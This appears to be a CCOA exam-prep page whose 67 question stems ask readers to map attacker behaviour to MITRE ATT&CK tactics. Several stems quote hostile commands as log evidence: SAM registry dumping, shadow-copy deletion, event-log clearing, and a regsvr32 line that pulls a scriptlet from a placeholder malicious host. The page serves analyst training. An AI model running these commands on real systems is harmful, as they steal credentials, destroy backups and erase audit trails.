CCOA · domain
Adversarial Tactics
This domain covers how adversaries move through the MITRE ATT&CK lifecycle, from Initial Access through Discovery and beyond. Questions test whether you can map real attacker behaviors to the correct tactic, distinguish techniques like T1133 External Remote Services, and recognize Discovery activity in logs during threat hunting.
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What to know about Adversarial Tactics
You must map observed adversary behavior to the correct MITRE ATT&CK tactic and technique ID. The single most important thing is correctly separating pre-compromise Reconnaissance from post-compromise Discovery, and recognizing T1133 External Remote Services as Initial Access.
Mapping attacker behaviors to MITRE ATT&CK tactics such as Initial Access, Discovery, and Execution
Identifying T1133 External Remote Services use via VPN, RDP, or exposed remote access portals
Recognizing Discovery techniques including account, network, and system information enumeration
Distinguishing reconnaissance versus Discovery based on whether activity occurs pre- or post-compromise
Watch out for
Common Adversarial Tactics exam traps
- ▸Confusing Reconnaissance with Discovery: Reconnaissance is pre-compromise external scanning, while Discovery happens after the adversary already has a foothold.
- ▸Treating any remote login as Initial Access when legitimate credentials via T1133 External Remote Services still qualify as that tactic.
- ▸Assuming Discovery requires malware; native OS commands and built-in utilities also count as Discovery techniques.
Question index
All Adversarial Tactics questions (67)
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A red team member uses the Windows Management Instrumentation (WMI) command-line utility to create a new process on a remote host, specifying credentials of a compromised domain user. Which tactic does this activity primarily illustrate?
Hard2Which tactic is associated with 'T1537 Transfer Data to Cloud Account'?
Easy3What is the primary goal of the 'Command and Control' (C2) tactic?
Medium4You suspect an adversary is performing 'T1005 Data from Local System'. Which of these actions is relevant?
Medium5During incident response, an analyst observes that an attacker used 'reg save HKLM\SAM C:\temp\sam.hiv' and 'reg save HKLM\SYSTEM C:\temp\system.hiv' on a compromised host. The analyst then sees the files being exfiltrated. Which MITRE ATT&CK tactic is the attacker primarily performing with the 'reg save' commands?
Hard6You are assessing an attacker's use of 'T1203 Exploitation for Client Execution'. What does this imply?
Hard7A threat hunter is reviewing logs from a workstation and finds evidence of an adversary attempting to impair defenses before deploying ransomware. Which TWO of the following observed actions are Defense Evasion techniques? (Choose two.)
Hard8A security analyst notices that an attacker has established persistence on a compromised host by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which MITRE ATT&CK technique does this represent?
Medium9Which TWO of the following are examples of 'Discovery' techniques?
Medium10You are investigating a breach where the attacker used 'T1555 Credentials from Password Stores'. Where would they look?
Hard11During an incident response engagement, an analyst finds that an attacker used a signed, legitimate remote monitoring and management (RMM) tool to maintain access on several endpoints. The tool's binary was already installed by the IT department for administrative purposes. Which ATT&CK technique BEST describes the attacker's action of using this existing, signed tool to avoid detection?
Hard12You are implementing threat hunting for 'T1562 Impair Defenses'. Which activity are you searching for?
Hard13A security analyst is examining a compromised host and observes the following activities: (1) a new local administrator account was created, (2) the Windows Security event log was cleared, (3) a tool was run to dump credentials from memory, and (4) a firewall rule was added to allow inbound traffic on port 4444. Which TWO of these activities are classified under the Credential Access tactic? (Choose two.)
Medium14You are reviewing a Purple Team exercise involving 'T1003 OS Credential Dumping'. What is the most reliable way to detect credential dumping via LSASS process access?
Hard15You see a process performing DNS queries for unusually long subdomains. Which tactic is the adversary likely exercising?
Medium16During incident response, an analyst observes that an adversary used 'net use \\fileserver\share$ /user:DOMAIN\svc_backup' followed shortly by 'schtasks /create /s fileserver /ru SYSTEM /tn UpdateCheck /tr C:\Windows\Temp\upd.exe'. The analyst already confirmed the initial host was compromised via phishing. Which tactic does the 'net use' command most directly represent in this sequence?
Hard17Which technique is most effective for an adversary to perform 'T1078 Valid Accounts'?
Hard18While analyzing an EDR alert, you observe a process modifying 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. What is the primary adversary objective at this stage?
Medium19What is the purpose of 'T1027 Obfuscated Files or Information'?
Easy20Which TWO of the following are considered 'Credential Access' techniques?
Easy21Which of these is a typical 'Lateral Movement' technique?
Easy22Which THREE of the following are common 'Impact' techniques?
Hard23An adversary uses 'vssadmin.exe delete shadows /all /quiet' during an attack. Which tactic is this technique categorized under?
Easy24What is the primary function of a 'C2 Beacon'?
Easy25Which TWO of the following behaviors are typical of 'Lateral Movement'?
Hard26A security analyst is reviewing alerts on a server and observes the following behaviors: (1) a scheduled task was created to run a script at startup, (2) a new local administrator account was created, and (3) the host file was modified to redirect a security vendor domain. Which TWO of these behaviors are most consistent with the Persistence tactic? (Choose two.)
Medium27You are configuring Microsoft Defender for Endpoint. Which feature is most effective against 'T1566 Phishing'?
Easy28You are auditing an environment for 'T1083 File and Directory Discovery'. Which log source provides the most visibility into this activity?
Medium29A security operations centre analyst reviewing endpoint telemetry sees a process named 'rundll32.exe' executing with the command line 'rundll32.exe C:\Users\Public\upd.dat,Start'. The DLL was written to the Public folder minutes earlier by a macro-enabled document. The analyst must map this behaviour to the most appropriate MITRE ATT&CK technique. Which technique best fits this activity?
Medium30An analyst observes an adversary using 'reg save HKLM\SAM sam.hive' and 'reg save HKLM\SYSTEM system.hive' on a compromised workstation. The files are then compressed and moved to a staging directory. Which MITRE ATT&CK tactic does this activity represent?
Medium31A security operations center (SOC) analyst notices that an attacker has been using the 'at' command to schedule a job that runs a reverse shell every day at 9 AM on a compromised Linux server. Which MITRE ATT&CK tactic does this activity represent?
Medium32An adversary has gained access to a workstation and is attempting to escalate privileges. Which TWO of the following actions are examples of the Privilege Escalation tactic in MITRE ATT&CK? (Choose two.)
Hard33A security analyst reviewing endpoint telemetry notices that shortly after a user opened a malicious email attachment, a process named 'outlook.exe' spawned 'powershell.exe' with an encoded command line. The encoded command decoded to a script that downloaded a payload from an external IP address. Which MITRE ATT&CK tactic best describes the initial spawning of PowerShell from Outlook?
Medium34You are reviewing logs in Splunk and identify a suspicious process spawning 'cmd.exe' from 'wsmprovhost.exe'. Which MITRE ATT&CK tactic does this behavior most directly align with?
Easy35An analyst notices that a process on a finance workstation is repeatedly writing compressed archives to a hidden directory and then uploading them to an external IP address during non-business hours. No user is logged in interactively at the time. Which adversarial tactic does this activity most directly represent?
Easy36A SOC analyst notices a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' running a binary in C:\Users\Public\ that calls back to an external IP every 15 minutes. The task was created at 03:14, outside of the normal patch window. Under which MITRE ATT&CK tactic is this activity best categorized?
Medium37An analyst detects that an adversary used the PsExec utility to copy a service binary to a remote host and create a temporary Windows service that executed the binary as SYSTEM. The analyst must classify this behaviour. Which MITRE ATT&CK technique does this activity represent?
Hard38During an incident, an analyst finds that an adversary used a legitimate remote monitoring and management (RMM) tool already installed in the environment to execute commands, then deleted the tool's logs and renamed the executable to match a system process. Which adversarial tactic is most clearly being used to avoid detection and prolong the intrusion?
Hard39During threat hunting, an analyst sees a workstation authenticate to multiple servers using a single NTLM authentication event that is relayed to a different host within seconds. The workstation account is not the user's account, and the target servers log successful logons with the workstation's machine account. Which adversarial tactic is best supported by this evidence?
Hard40Which THREE of the following are 'Command and Control' techniques?
Medium41An adversary is using a living-off-the-land (LotL) binary to execute commands. Why is this preferred over a custom malware?
Medium42An analyst notices that a compromised host is generating a high volume of DNS queries for domains like 'a1b2c3d4e5f6g7h8.example.com', where the subdomain appears to be a hexadecimal string. The queries are frequent and vary in length. Which MITRE ATT&CK tactic is the adversary most likely employing?
Medium43What is the primary difference between a Red Team and a Blue Team in a security simulation?
Hard44Which THREE of the following are considered 'Collection' techniques?
Easy45An analyst is reviewing host telemetry to identify behaviours that map to the Defense Evasion tactic. Which two of the following observed actions should be mapped to Defense Evasion? (Choose two.)
Medium46During an investigation, you discover that an adversary has modified the 'ImagePath' registry value for a legitimate Windows service to point to a malicious executable. The service is configured to start automatically. Which MITRE ATT&CK tactic does this technique primarily fall under?
Hard47An analyst observes an endpoint resolving hundreds of unique subdomains under a single parent domain, each subdomain encoded as a long hexadecimal string, and the responses frequently return NXDOMAIN. The endpoint process generating these queries is a signed Office add-in. Which adversarial tactic is the endpoint most likely exhibiting?
Easy48Which of the following is considered an 'Execution' tactic in the MITRE ATT&CK framework?
Easy49An analyst observes that an attacker has modified the Windows Registry to add a value under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' that points to a malicious executable. Which MITRE ATT&CK tactic is the attacker attempting to achieve?
Easy50Which action constitutes 'Discovery' as defined by the MITRE ATT&CK framework?
Easy51An analyst reviewing endpoint telemetry sees rundll32.exe executing a DLL from a user's Downloads folder with an export named 'Start'. The DLL was downloaded from an external site minutes earlier. Which MITRE ATT&CK tactic is most directly represented by this activity?
Easy52Which TWO of the following are examples of 'Initial Access' tactics?
Easy53An attacker uses 'T1133 External Remote Services' to gain access. What does this involve?
Hard54A threat hunter is reviewing logs for signs of adversary reconnaissance. Which TWO of the following activities are considered Discovery techniques in the MITRE ATT&CK framework? (Choose two.)
Medium55During incident response, an analyst discovers that an attacker used the built-in 'net.exe' command to enumerate domain groups and then leveraged 'nltest.exe' to query domain trusts. Which MITRE ATT&CK tactic best categorizes this sequence?
Hard56Which of these is a 'Defense Evasion' technique?
Easy57A security operations center analyst observes an endpoint where the process 'rundll32.exe' has loaded a DLL from the user's Downloads folder and is making outbound SMB connections to several internal hosts. Which MITRE ATT&CK tactic is most likely being exercised by this behavior?
Medium58A security analyst reviewing endpoint telemetry observes that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineCore' was modified to point to a PowerShell script in a user's AppData folder. The task runs daily with SYSTEM privileges. Which adversarial tactic does this activity most directly represent?
Medium59Which THREE of the following are considered 'Execution' techniques?
Medium60Which THREE of the following are 'Privilege Escalation' techniques?
Hard61Which THREE of the following are common 'Exfiltration' techniques?
Easy62Which TWO of the following are examples of 'Persistence' tactics?
Medium63A security analyst is investigating an incident where an attacker used a technique to evade detection by injecting malicious code into a legitimate process. The analyst observes that the attacker used `CreateRemoteThread` to execute code in a remote process. Which MITRE ATT&CK technique does this represent?
Hard64During an incident, an analyst finds that a domain controller's NTDS.dit file was accessed by a process running under the context of a service account, and shortly afterwards the same account authenticated to several member servers using NTLM. The analyst must determine which adversarial tactic the combined activity represents. Which tactic does this activity primarily represent?
Hard65You detect an adversary attempting to clear Windows Event Logs using 'wevtutil cl'. This falls under which tactic?
Medium66A security operations analyst is reviewing endpoint telemetry and observes that the process 'regsvr32.exe' was launched with the command line 'regsvr32.exe /s /u /i:http://malicious.example/evade.sct scrobj.dll'. The parent process is 'winword.exe'. There is no user interaction reported after the initial document open. Which adversarial tactic does this activity most directly represent?
Medium67A threat actor gains initial access to a network by sending a phishing email with a malicious macro-enabled document. After the user enables macros, the document executes PowerShell to download and run a payload. Which MITRE ATT&CK tactic does the macro execution represent?
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Frequently asked questions
- What does the Adversarial Tactics domain cover on the CCOA exam?
- You must map observed adversary behavior to the correct MITRE ATT&CK tactic and technique ID. The single most important thing is correctly separating pre-compromise Reconnaissance from post-compromise Discovery, and recognizing T1133 External Remote Services as Initial Access.
- How many questions are in this domain?
- This page lists all 67 Adversarial Tactics questions in the CCOA question bank. The actual exam draws from this domain proportionally to its weighting in the official exam blueprint.
- What is the best way to practise this domain?
- Start with a short focused session (10 questions) to identify gaps, then work through explanations. Repeat with a longer session once the weak areas feel solid.
- Can I practise only Adversarial Tactics questions?
- Yes — the session launcher on this page filters questions to this domain only. Choose any session length for inline explanations and scoring.